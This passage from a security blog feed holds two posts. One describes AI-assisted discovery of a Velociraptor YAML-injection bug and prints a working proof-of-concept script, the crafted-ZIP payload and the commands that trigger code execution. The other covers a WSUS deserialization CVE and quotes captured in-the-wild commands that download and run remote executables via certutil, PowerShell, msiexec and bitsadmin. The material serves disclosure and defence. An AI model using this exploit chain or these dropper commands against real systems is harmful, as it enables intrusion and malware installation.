    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> As a code review expert, your role will be to carefully examine the code for
 potential security flaws. This may include identifying common coding mistakes
 that could lead to vulnerabilities. Your expertise in network security, memory
 corruption, web application security will be particularly valuable in ensuring
 that any code developed meets the highest security standards.

 Install: https://github.com/Velocidex/velociraptor and start testing it. Find
 issues in its ability to read images and parse stuff only find real issues with
 actual impact.
</code></pre></div>    </div>
  </li>
  <li>
    <p>Pivot to features I already use</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> for now, I want you to test the config repack function, if it's possbile to do
 somethig bad with it.

 or if it's possbile to do something with the remapp velociraptor --remap
 remapping_img1.yaml --config client.config.yaml client -v
 --config.client-writeback-linux=/tmp/remapping.writeback_ssh.yaml
 --config.client-local-buffer-disk-size=0
</code></pre></div>    </div>
  </li>
  <li>
    <p>Push harder on impact</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> focus on the repack maybe if someone passes somthing bad you can somehow
 execute a command on the system using velo or damage velo or do something out
 of its scope. Find vulns
</code></pre></div>    </div>
  </li>
  <li>
    <p>Threat-model question (<code class="language-plaintext highlighter-rouge">.dd</code> vs normal workflow)</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> is it possbile to make it generate a bad remaping yaml via a normal usage like
 this "velociraptor -v deaddisk --add_windows_disk full_image.dd
 remapping_img1.yaml" meaing the dd file can do that somehow
</code></pre></div>    </div>

    <p>That’s where it got interesting: not the <code class="language-plaintext highlighter-rouge">.dd</code> path, but a crafted collection ZIP feeding <code class="language-plaintext highlighter-rouge">Windows.Collectors.Remapping</code>.</p>
  </li>
  <li>
    <p>PoC bar</p>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> create a crafted zip file that can create a file in /tmp/ called works.txt with
 the content works. and create a readme to how to run it after you test it.
</code></pre></div>    </div>
    <hr />
  </li>
</ol>

<h2 id="the-results">The results</h2>

<p>Analyst-targeting bug. <font color="#4CAF50">YAML injection</font> in <code class="language-plaintext highlighter-rouge">Windows.Collectors.Remapping</code>, triggered by a crafted collection ZIP. <font color="#4CAF50">Code execution</font> on the analyst’s box when they apply the generated remapping with <code class="language-plaintext highlighter-rouge">--remap</code>.</p>

<p><code class="language-plaintext highlighter-rouge">Windows.Collectors.Remapping</code> reads <code class="language-plaintext highlighter-rouge">client_info.json</code> from inside a collection ZIP and substitutes the <code class="language-plaintext highlighter-rouge">Hostname</code> field into a <code class="language-plaintext highlighter-rouge">text/template</code> string that becomes YAML:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hostname: "{{ .Hostname }}"
</code></pre></div></div>

<p>The hostname comes from inside the ZIP and was never YAML-escaped before the template expanded. Stick a literal <code class="language-plaintext highlighter-rouge">"</code> and a few newlines in there and you break out of the quoted string. Inject a new <code class="language-plaintext highlighter-rouge">- type: mount</code> block, <code class="language-plaintext highlighter-rouge">scope:</code> field and all.</p>

<p>When an analyst runs <code class="language-plaintext highlighter-rouge">velociraptor --remap …</code>, startup validation on that path uses <code class="language-plaintext highlighter-rouge">NullACLManager</code>. VQL inside <code class="language-plaintext highlighter-rouge">scope:</code> runs with broad permissions (<code class="language-plaintext highlighter-rouge">EXECVE</code> included in the path we traced). A field that <em>looks</em> like a hostname can end up driving code execution on whoever is doing the analysis.</p>

<h3 id="poc"><font color="#4CAF50">PoC</font></h3>

<ol>
  <li>
    <p>Create the crafted collection ZIP:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> python3 create_zip.py
 <span class="c"># Creates crafted_collection.zip with malicious client_info.json</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>Run the artifact (analyst’s normal workflow, Step 1):</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> velociraptor artifacts collect Windows.Collectors.Remapping <span class="se">\</span>
   <span class="nt">--args</span> <span class="nv">ZipPath</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span><span class="s2">/crafted_collection.zip"</span> <span class="se">\</span>
   <span class="nt">--args</span> <span class="nv">WriteRemappingPath</span><span class="o">=</span>/tmp/remapping_injected.yaml <span class="se">\</span>
   <span class="nt">--args</span> <span class="nv">Upload</span><span class="o">=</span>N
</code></pre></div>    </div>

    <p>This reads the hostname from the ZIP, renders the template, and writes <code class="language-plaintext highlighter-rouge">remapping_injected.yaml</code> containing the injected <code class="language-plaintext highlighter-rouge">mount</code> entry with its <code class="language-plaintext highlighter-rouge">scope</code> VQL.</p>
  </li>
  <li>
    <p>Apply the remapping (analyst’s normal workflow, Step 2):</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> velociraptor <span class="nt">--remap</span> /tmp/remapping_injected.yaml <span class="se">\</span>
   artifacts collect Generic.Client.Info
</code></pre></div>    </div>

    <p>Any artifact works here. The payload fires before the artifact even starts. <code class="language-plaintext highlighter-rouge">applyRemapping()</code> runs as a startup config validator (<code class="language-plaintext highlighter-rouge">WithCustomValidator</code> in <code class="language-plaintext highlighter-rouge">bin/main.go:200</code>), during config load, not when the command executes. By the time Velociraptor picks an artifact to run, the scope VQL has already fired.</p>

    <p>So this isn’t tied to one specific artifact. All of these trigger it:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c"># The example from the documented analyst workflow:</span>
 velociraptor <span class="nt">--remap</span> /tmp/remapping_injected.yaml <span class="se">\</span>
   artifacts collect Windows.Registry.Hunter <span class="nt">--args</span> <span class="nv">RemappingStrategy</span><span class="o">=</span>None

 <span class="c"># Or any other artifact:</span>
 velociraptor <span class="nt">--remap</span> /tmp/remapping_injected.yaml <span class="se">\</span>
   artifacts collect Windows.System.TaskScheduler

 <span class="c"># Even a query that does nothing:</span>
 velociraptor <span class="nt">--remap</span> /tmp/remapping_injected.yaml <span class="se">\</span>
   query <span class="s2">"SELECT 1 FROM scope()"</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>Verify execution:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">cat</span> /tmp/works.txt
 <span class="c"># works</span>
</code></pre></div>    </div>

    <p>The file <code class="language-plaintext highlighter-rouge">/tmp/works.txt</code> is created during <code class="language-plaintext highlighter-rouge">--remap</code> startup validation, before any artifact query runs.</p>
  </li>
</ol>

<h4 id="the-create_zippy-script">The <code class="language-plaintext highlighter-rouge">create_zip.py</code> script:</h4>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="s">"""
Creates a crafted Velociraptor collection ZIP that exploits the YAML injection
vulnerability in Windows.Collectors.Remapping (CVE candidate).

The hostname field in client_info.json flows through text/template into a YAML
template without escaping. A hostname containing a literal " followed by newlines
breaks out of the YAML quoted string and injects new remapping entries.

The injected mount entry has a `scope` field — VQL executed by evaluateScopeQuery()
with NullACLManager when --remap is applied. This creates /tmp/works.txt.
"""</span>

<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">zipfile</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="n">OUTPUT_ZIP</span> <span class="o">=</span> <span class="s">"crafted_collection.zip"</span>
<span class="n">MALICIOUS_HOSTNAME</span> <span class="o">=</span> <span class="p">(</span>
    <span class="s">'VICTIM"</span><span class="se">\n</span><span class="s">'</span>
    <span class="s">'- type: mount</span><span class="se">\n</span><span class="s">'</span>
    <span class="s">'  scope: |-</span><span class="se">\n</span><span class="s">'</span>
    <span class="s">'    LET x &lt;= copy(filename="works", accessor="data", dest="/tmp/works.txt")</span><span class="se">\n</span><span class="s">'</span>
    <span class="s">'  from:</span><span class="se">\n</span><span class="s">'</span>
    <span class="s">'    accessor: file</span><span class="se">\n</span><span class="s">'</span>
    <span class="s">'    prefix: /</span><span class="se">\n</span><span class="s">'</span>
    <span class="s">'  "on":</span><span class="se">\n</span><span class="s">'</span>                 <span class="c1"># quoted because bare on: is coerced to bool by YAML 1.1
</span>    <span class="s">'    accessor: auto</span><span class="se">\n</span><span class="s">'</span>
    <span class="s">'    prefix: /</span><span class="se">\n</span><span class="s">'</span>
    <span class="s">'  description: "x'</span>         <span class="c1"># valid RemappingConfig string field, absorbs template's closing "
</span><span class="p">)</span>

<span class="n">client_info</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"Hostname"</span><span class="p">:</span> <span class="n">MALICIOUS_HOSTNAME</span><span class="p">,</span>
    <span class="s">"hostname"</span><span class="p">:</span> <span class="n">MALICIOUS_HOSTNAME</span><span class="p">,</span>
    <span class="s">"OS"</span><span class="p">:</span> <span class="s">"windows"</span><span class="p">,</span>
    <span class="s">"Platform"</span><span class="p">:</span> <span class="s">"windows"</span><span class="p">,</span>
    <span class="s">"Version"</span><span class="p">:</span> <span class="s">"10.0.19041"</span><span class="p">,</span>
<span class="p">}</span>

<span class="k">with</span> <span class="n">zipfile</span><span class="p">.</span><span class="n">ZipFile</span><span class="p">(</span><span class="n">OUTPUT_ZIP</span><span class="p">,</span> <span class="s">"w"</span><span class="p">,</span> <span class="n">zipfile</span><span class="p">.</span><span class="n">ZIP_DEFLATED</span><span class="p">)</span> <span class="k">as</span> <span class="n">zf</span><span class="p">:</span>
    <span class="c1"># client_info.json at root; read by the artifact's CollectionHostinfo query
</span>    <span class="n">zf</span><span class="p">.</span><span class="n">writestr</span><span class="p">(</span><span class="s">"client_info.json"</span><span class="p">,</span> <span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">client_info</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">))</span>

    <span class="c1"># Satisfy the artifact precondition:
</span>    <span class="c1">#   SELECT * FROM glob(globs="/uploads/{auto,file,ntfs}", ...)
</span>    <span class="n">zf</span><span class="p">.</span><span class="n">writestr</span><span class="p">(</span><span class="s">"uploads/auto/C:/dummy.txt"</span><span class="p">,</span> <span class="s">"placeholder"</span><span class="p">)</span>

    <span class="c1"># Satisfy AllDrives query:
</span>    <span class="c1">#   SELECT * FROM glob(globs="/uploads/*/*", ...)
</span>    <span class="n">zf</span><span class="p">.</span><span class="n">writestr</span><span class="p">(</span><span class="s">"uploads/file/C:/dummy.txt"</span><span class="p">,</span> <span class="s">"placeholder"</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Created </span><span class="si">{</span><span class="n">OUTPUT_ZIP</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] ZIP contents:"</span><span class="p">)</span>
<span class="k">with</span> <span class="n">zipfile</span><span class="p">.</span><span class="n">ZipFile</span><span class="p">(</span><span class="n">OUTPUT_ZIP</span><span class="p">)</span> <span class="k">as</span> <span class="n">zf</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">name</span> <span class="ow">in</span> <span class="n">zf</span><span class="p">.</span><span class="n">namelist</span><span class="p">():</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"      </span><span class="si">{</span><span class="n">name</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="k">print</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] Injected hostname value (what client_info.json contains):"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"    "</span> <span class="o">+</span> <span class="nb">repr</span><span class="p">(</span><span class="n">MALICIOUS_HOSTNAME</span><span class="p">[:</span><span class="mi">80</span><span class="p">])</span> <span class="o">+</span> <span class="s">"..."</span><span class="p">)</span>
<span class="k">print</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] After text/template renders hostname: </span><span class="se">\"</span><span class="s">{{ .Hostname }}</span><span class="se">\"</span><span class="s">:"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'    hostname: "VICTIM"'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'    [NEW ENTRY] - type: mount'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'      scope: LET x &lt;= copy(...) -&gt; writes /tmp/works.txt'</span><span class="p">)</span>


</code></pre></div></div>

<h2 id="what-i-did-vs-what-claude-did">What I did vs what Claude did</h2>

<p>I picked the target, set the trust-boundary questions, wrote and rewrote prompts, killed the junk leads, steered into remap/repack/deaddisk, asked for a PoC, and pushed a suggested fix with the report.</p>

<p>Claude did the hard part. Crawled the repo, found the lead, followed the chain from <code class="language-plaintext highlighter-rouge">Windows.Collectors.Remapping</code> through <code class="language-plaintext highlighter-rouge">text/template</code> into <code class="language-plaintext highlighter-rouge">--remap</code> startup, and explained why <code class="language-plaintext highlighter-rouge">NullACLManager</code> changed the impact story. Wrote <code class="language-plaintext highlighter-rouge">create_zip.py</code>, hit YAML 1.1 and template-quoting problems, worked through them, kept iterating until the PoC worked, then wrote up a report and proposed a fix.</p>

<h2 id="bug-report-timeline-github-security-advisory">Bug report timeline (GitHub Security Advisory)</h2>

<table>
  <thead>
    <tr>
      <th>Time</th>
      <th>What happened</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-05-03 ~13:00 UTC</td>
      <td><a href="https://github.com/M507">@M507</a> (<sup id="fnref:m507" role="doc-noteref"><a href="#fn:m507" class="footnote" rel="footnote">8</a></sup>) added as collaborator on the advisory</td>
    </tr>
    <tr>
      <td>2026-05-03 ~13:00 UTC</td>
      <td><a href="https://github.com/M507">@M507</a> (<sup id="fnref:m507:1" role="doc-noteref"><a href="#fn:m507" class="footnote" rel="footnote">8</a></sup>) credited as reporter</td>
    </tr>
    <tr>
      <td>2026-05-03 ~13:00 UTC</td>
      <td>Temporary private fork <code class="language-plaintext highlighter-rouge">Velocidex/velociraptor-ghsa-5h8x-vwfm-v74v</code> created</td>
    </tr>
    <tr>
      <td>2026-05-03 ~13:00 UTC</td>
      <td>Suggested fix pushed to the private fork</td>
    </tr>
    <tr>
      <td>2026-05-03 ~18:00 UTC</td>
      <td><a href="https://github.com/scudette">scudette</a> (<sup id="fnref:scudette" role="doc-noteref"><a href="#fn:scudette" class="footnote" rel="footnote">9</a></sup>) accepted the report</td>
    </tr>
    <tr>
      <td>2026-05-04 ~00:00 UTC</td>
      <td>Credit accepted</td>
    </tr>
    <tr>
      <td>2026-05-06 ~15:00 UTC</td>
      <td>Maintainer feedback on report quality / AI-assisted analysis; Rapid7 disclosure path requested</td>
    </tr>
    <tr>
      <td>2026-05-06 ~16:00 UTC</td>
      <td>Rapid7 submission confirmed with credit details</td>
    </tr>
    <tr>
      <td>2026-06-04</td>
      <td>Public advisory <font color="#4CAF50">CVE-2026-8795</font> (<sup id="fnref:cve-advisory:1" role="doc-noteref"><a href="#fn:cve-advisory" class="footnote" rel="footnote">1</a></sup>) published</td>
    </tr>
    <tr>
      <td>2026-08-26</td>
      <td>Asked <a href="https://github.com/scudette">scudette</a> (<sup id="fnref:scudette:1" role="doc-noteref"><a href="#fn:scudette" class="footnote" rel="footnote">9</a></sup>) for permission to quote his reply in this post</td>
    </tr>
    <tr>
      <td>2026-08-26</td>
      <td><a href="https://github.com/scudette">scudette</a> (<sup id="fnref:scudette:2" role="doc-noteref"><a href="#fn:scudette" class="footnote" rel="footnote">9</a></sup>) approved</td>
    </tr>
  </tbody>
</table>

<h3 id="interesting-points">Interesting points</h3>

<p>When I started writing this, Linus Torvalds shipped Linux 7.1-rc4 (<a href="https://lkml.org/lkml/2026/5/17/896">LKML, 2026-05-17</a>) (<sup id="fnref:lkml" role="doc-noteref"><a href="#fn:lkml" class="footnote" rel="footnote">10</a></sup>) and called out exactly this workflow:</p>

<blockquote>
  <p>“The continued flood of AI reports has basically made the security list almost entirely unmanageable, with enormous duplication due to different people finding the same things with the same tools. […] AI detected bugs are pretty much by definition not secret, and treating them on some private list is a waste of time for everybody involved.”</p>
</blockquote>

<p>I agree, what made this finding feel “fast” is also what makes it un-special. Popular project. Popular agent. Public prompt with some edits. Anyone with a Claude Pro sub and a free afternoon can probably run the same workflow and hit the same bug.</p>

<p>I shared Linus’s post with <a href="https://github.com/scudette">Scudette</a> (<sup id="fnref:scudette:3" role="doc-noteref"><a href="#fn:scudette" class="footnote" rel="footnote">9</a></sup>), Velociraptor’s maintainer, and asked if they’re seeing the same thing. His reply, quoted as he wrote it:</p>

<blockquote>
  <p>“We did get a flood of AI reports too. But I dont think we are as large as Linux so probably the code surface is much smaller. The reports are not so many and are mostly helpful.</p>

  <p>Some of the reports show a misunderstanding of the Velociraptor permission model so it does take some time to explain it - but I think this shows a lack of documentation around these issues so it is more an investment. Next time someone raises a similar issue we already have a reply for it. I guess if we get a flood of these then it would be simpler to just point people at the docs and close the report.</p>

  <p>We did get a couple of real issue duplicates as well. I totally get Linus saying that AI bugs are probably public anyway because others could find the same thing.”</p>
</blockquote>

<p>So what I took from that is that the pain is volume, some true positive duplications, and documentation gaps that still need work. And on a mid-size project like Velociraptor, most of the reports are actually helpful. And yeah, I agree. Linux kernel is a special case. If your whole vuln-research practice is pointing an AI at a super popular, critical codebase like the kernel, you’re probably wasting your time.</p>

<p>However, not every GitHub repo is Linux. Most codebases are under-tested. To land in the helpful pile instead of the flood pile. You should just pick something you understand, search issues and advisories first, reproduce end-to-end, ship a working PoC with a suggested fix. Yeah, 99% of the time your suggestion is probably BS and will not help the maintainers but try anyway. Still better than saying your baby is ugly and leaving.</p>

<h3 id="tips">Tips</h3>

<p>If you’re going to try this:</p>

<ul>
  <li>Fork and customize something like <a href="https://github.com/DummyKitty/Cyber-Security-chatGPT-prompt">DummyKitty/Cyber-Security-chatGPT-prompt</a> (<sup id="fnref:chatgpt-prompt:1" role="doc-noteref"><a href="#fn:chatgpt-prompt" class="footnote" rel="footnote">6</a></sup>) so the agent is biased toward real unique impact.</li>
  <li>Pick a project whose threat model you already understand. Domain knowledge is how you filter slop.</li>
  <li>Point it at routes, commands, and/or features you actually use, that’s where “maybe under-reviewed” often lives.</li>
  <li>Feed it docs if you have them.</li>
  <li>Search the tracker and advisories for that area before you write anything.</li>
  <li>Reproduce the bug end-to-end on a clean machine.</li>
  <li>Push a suggested fix. It’s just a prompt away. It helps the maintainer and shows respect. (Remember, maintainers don’t work for you.)</li>
  <li>Use the project’s preferred channel (GHSA, security.txt, vendor form, whatever they ask for).</li>
  <li>If it is a duplicate, take the L. A Claude subscription doesn’t make you the first finder.</li>
</ul>

<h2 id="final-thoughts">Final thoughts</h2>

<p>This whole experiment started after I watched a colleague use Claude during an IR engagement, and maybe that’s how the attacker found the bug too. Same agent, same “stand up the stack and hunt” workflow. We don’t know for sure. Hard not to picture the other side running the same playbook at scale. Easy 0-days keep getting easier to find.</p>

<p>Good and bad news for incident responders: you’re only going to get busier. Cheaper bug hunting and faster PoCs mean more weaponized issues and more real-world mess in someone’s queue. Your job isn’t disappearing the way the AI CEOs have been saying : )</p>

<p>Last thing: be helpful. AI makes finding bugs cheap but triaging your report is still expensive for someone else. Read the docs, reproduce the bug, ship a PoC, suggest a fix, use the right channel. Do the work on your side so you land in the helpful pile, not the flood.</p>

<h2 id="references">References</h2>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:cve-advisory" role="doc-endnote">
      <p>Velociraptor, “CVE-2026-8795 Advisory,” Jun 4, 2026. <a href="https://docs.velociraptor.app/announcements/advisories/cve-2026-8795/">https://docs.velociraptor.app/announcements/advisories/cve-2026-8795/</a> <a href="#fnref:cve-advisory" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:cve-advisory:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:cves-2025" role="doc-endnote">
      <p>The Stack, “CVEs in 2025 Analysis.” <a href="https://www.thestack.technology/cves-in-2025-analysis/">https://www.thestack.technology/cves-in-2025-analysis/</a> <a href="#fnref:cves-2025" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:ramigpt" role="doc-endnote">
      <p>M507, “RamiGPT,” GitHub repository. <a href="https://github.com/M507/RamiGPT">https://github.com/M507/RamiGPT</a> <a href="#fnref:ramigpt" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:samigpt" role="doc-endnote">
      <p>M507, “SamiGPT (AI-SOC-Agent),” GitHub repository. <a href="https://github.com/M507/AI-SOC-Agent">https://github.com/M507/AI-SOC-Agent</a> <a href="#fnref:samigpt" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:velociraptor" role="doc-endnote">
      <p>Velocidex, “Velociraptor,” GitHub repository. <a href="https://github.com/Velocidex/velociraptor/">https://github.com/Velocidex/velociraptor/</a> <a href="#fnref:velociraptor" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:chatgpt-prompt" role="doc-endnote">
      <p>DummyKitty, “Cyber-Security-chatGPT-prompt,” GitHub repository. <a href="https://github.com/DummyKitty/Cyber-Security-chatGPT-prompt">https://github.com/DummyKitty/Cyber-Security-chatGPT-prompt</a> <a href="#fnref:chatgpt-prompt" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:chatgpt-prompt:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:raycast" role="doc-endnote">
      <p>Raycast. <a href="https://www.raycast.com/">https://www.raycast.com/</a> <a href="#fnref:raycast" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:m507" role="doc-endnote">
      <p>M507, GitHub profile. <a href="https://github.com/M507">https://github.com/M507</a> <a href="#fnref:m507" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:m507:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:scudette" role="doc-endnote">
      <p>scudette, GitHub profile. <a href="https://github.com/scudette">https://github.com/scudette</a> <a href="#fnref:scudette" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:scudette:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a> <a href="#fnref:scudette:2" class="reversefootnote" role="doc-backlink">&#8617;<sup>3</sup></a> <a href="#fnref:scudette:3" class="reversefootnote" role="doc-backlink">&#8617;<sup>4</sup></a></p>
    </li>
    <li id="fn:lkml" role="doc-endnote">
      <p>Linus Torvalds, “Linux 7.1-rc4,” LKML, May 17, 2026. <a href="https://lkml.org/lkml/2026/5/17/896">https://lkml.org/lkml/2026/5/17/896</a> <a href="#fnref:lkml" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Mohammed Alshehri</name></author><category term="velociraptor" /><category term="cve-2026-8795" /><category term="cve" /><category term="claude" /><category term="claude-code" /><category term="ai" /><category term="llm" /><category term="vulnerability-research" /><category term="code-review" /><category term="yaml-injection" /><category term="incident-response" /><category term="dfir" /><category term="red-teaming" /><category term="poc" /><summary type="html"><![CDATA[Claude Code found CVE-2026-8795 in Velociraptor in under an hour: YAML injection in Windows.Collectors.Remapping, a working PoC, and notes for researchers and IR.]]></summary></entry><entry><title type="html">Inside CVE-2025-59287: SoapFormatter RCE in WSUS</title><link href="https://shellcode.blog/wsus-cve-2025-59287-investigation/" rel="alternate" type="text/html" title="Inside CVE-2025-59287: SoapFormatter RCE in WSUS" /><published>2025-11-28T00:00:00+00:00</published><updated>2025-11-28T00:00:00+00:00</updated><id>https://shellcode.blog/wsus-cve-2025-59287-investigation</id><content type="html" xml:base="https://shellcode.blog/wsus-cve-2025-59287-investigation/"><![CDATA[<p><img src="/images/cve-windowsupdater/banner2.png" alt="." /></p>

<p>While conducting reconnaissance around a month ago, I received a scan result indicating that a target server might be vulnerable to CVE-2025-59287 (<sup id="fnref:nuclei" role="doc-noteref"><a href="#fn:nuclei" class="footnote" rel="footnote">1</a></sup>). I reviewed the CVE scan rule and found it too generic and not helpful. I then examined multiple proof-of-concept implementations across various GitHub repositories, but since the target server was critical, I did not want to execute any of them without fully understanding their impact and potential side effects.</p>

<p>This motivated a quick investigation. I decided to build a VM with the vulnerable WSUS service, rewrite and test a proof-of-concept, and thoroughly understand the vulnerability’s mechanics and impact.</p>

<p>The first roadblock I faced was the confusion between CVE-2025-59287 and CVE-2023-35317, a confusion that appears to be widespread across multiple blog posts. I read multiple posts and GitHub repositories discussing CVE-2025-59287, and most of them referenced HawkTrace’s initial blog post as their primary source (<sup id="fnref:hawktrace" role="doc-noteref"><a href="#fn:hawktrace" class="footnote" rel="footnote">2</a></sup>). When I began investigating CVE-2025-59287 following the HawkTrace blog post, I failed to notice the header disclosure that corrected the CVE number, which led me down the wrong path.</p>

<p>After further reading, I came across the Code White blog post, which was the only resource that clearly explained the distinction between the two CVEs. Their analysis showed that the <code class="language-plaintext highlighter-rouge">BinaryFormatter</code> deserialization path maps to CVE-2023-35317, not CVE-2025-59287. That finally explained why I could not find the right vulnerable lines, chasing the wrong vulnerability and banging my head against the wall. The actual CVE-2025-59287 issue abuses a <code class="language-plaintext highlighter-rouge">SoapFormatter</code> deserialization path instead.</p>

<p>With this clarification, I was able to find the vulerable lines and I constructed an isolated test environment to validate the vulnerability, capture execution traces, and review the PoC’s artifacts.</p>

<h2 id="technical-overview">Technical Overview</h2>

<p>To understand why the vulnerability exists and how it can be exploited, At a high level, the WSUS reporting service introduced a <code class="language-plaintext highlighter-rouge">SoapFormatter</code> deserialization call that processes attacker-controlled <code class="language-plaintext highlighter-rouge">MiscData</code> content in the <code class="language-plaintext highlighter-rouge">ReportEventBatch</code> SOAP method without adequate input validation. For readers who want a full code-level walk-through of the vulnerable control flow and patch diff, refer to the Code White analysis (<sup id="fnref:codewhite" role="doc-noteref"><a href="#fn:codewhite" class="footnote" rel="footnote">3</a></sup>).</p>

<p>The window of exposure that existed between the October 14, 2025 Patch Tuesday release and the out-of-band remediation. This window is the period when vulnerable WSUS servers were exposed to exploitation before Microsoft released the emergency patch.</p>

<h2 id="detailed-findings">Detailed Findings</h2>

<p>After understanding the vulnerability’s technical foundation, I needed to validate that exploitation was actually possible and document the specific payload construction requirements. I manually reviewed published PoCs, including the th1n0 repository (<sup id="fnref:th1n0" role="doc-noteref"><a href="#fn:th1n0" class="footnote" rel="footnote">4</a></sup>). I quickly noticed that it is fake: instead of implementing a real exploit chain for CVE-2025-59287, it hides and executes arbitrary malicious code inside a helper function named <code class="language-plaintext highlighter-rouge">_initialize_core()</code>.</p>

<p><img src="/images/cve-windowsupdater/lol-bad-bad-bad.png" alt="Fake PoC example showing malicious code" /></p>

<p>I found this interesting and posted about it on LinkedIn, where <a href="https://www.linkedin.com/feed/update/urn:li:activity:7404627483691708416?commentUrn=urn%3Ali%3Acomment%3A%28activity%3A7404627483691708416%2C7405297402498416640%29&amp;dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287405297402498416640%2Curn%3Ali%3Aactivity%3A7404627483691708416%29">Michael Gorelik</a> mentioned this threat analysis: <a href="https://engage.morphisec.com/hubfs/2025_PDFs/PyStoreRAT_ThreatAnalysis.pdf">PyStoreRAT Threat Analysis</a>.</p>

<p>I also checked HawkTrace’s gist (<sup id="fnref:hawktrace-gist" role="doc-noteref"><a href="#fn:hawktrace-gist" class="footnote" rel="footnote">5</a></sup>), which appeared to follow the right steps to hit <code class="language-plaintext highlighter-rouge">SoapFormatter</code>, so I edited a couple of things and tested it to understand how successful exploitation would impact a vulnerable server. The final working PoC here: <a href="https://github.com/M507/CVE-2025-59287-PoC">CVE-2025-59287 PoC repository</a>.</p>

<p>The final PoC uses a <code class="language-plaintext highlighter-rouge">SoapFormatter</code> compatible payload generated using <code class="language-plaintext highlighter-rouge">ysoserial.net</code>, embedded into the <code class="language-plaintext highlighter-rouge">MiscData</code> key path consumed by the WSUS reporting service. Successful exploitation results in <code class="language-plaintext highlighter-rouge">w3wp.exe</code> spawning child processes under the WSUS application pool identity (Network Service).</p>

<p><img src="/images/cve-windowsupdater/w3wp.png" alt="w3wp.exe spawning child processes after exploitation" /></p>

<p>The debugging workflow involved verifying that the <code class="language-plaintext highlighter-rouge">MiscData</code> key was parsed correctly, confirming that the Base64 payload was converted and observing the call flow into <code class="language-plaintext highlighter-rouge">SoapUtilities.DeserializeObject</code>.</p>

<p><img src="/images/cve-windowsupdater/debug.png" alt="Debugging workflow showing call flow" /></p>

<h2 id="exploitation-in-the-wild">Exploitation in the Wild</h2>

<p>Out of curiosity, I wanted to see how threat actors were exploiting it in real-world scenarios. For this, I deployed a honeypot for around one week to capture active exploitation attempts. The honeypot captured all HTTP request bodies, which are available here: <a href="https://github.com/M507/CVE-2025-59287-Honeypot/tree/main/capture/evidence">CVE-2025-59287 Honeypot repository</a>.</p>

<p>The following malicious payloads were observed:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/c certutil -urlcache -f http://79.124.40.162:8080/xUEZ93IVKeI10luC9TAueQ %TEMP%\LDwMwEhji.exe &amp; start /B %TEMP%\LDwMwEhji.exe
/c powershell.exe -c "iwr 'https://github.com/reika911/SMTP-mail/raw/refs/heads/main/ufs.exe' -OutFile %TEMP%\ufs.exe; Start-Process %TEMP%\ufs.exe"
/c msiexec /i https://github.com/reika911/SMTP-mail/raw/refs/heads/main/1234.msi /quiet /qn || bitsadmin /transfer myJob /download /priority normal https://github.com/reika911/SMTP-mail/raw/refs/heads/main/1234.msi %TEMP%\1234.msi &amp;&amp; msiexec /i %TEMP%\1234.msi /quiet /qn
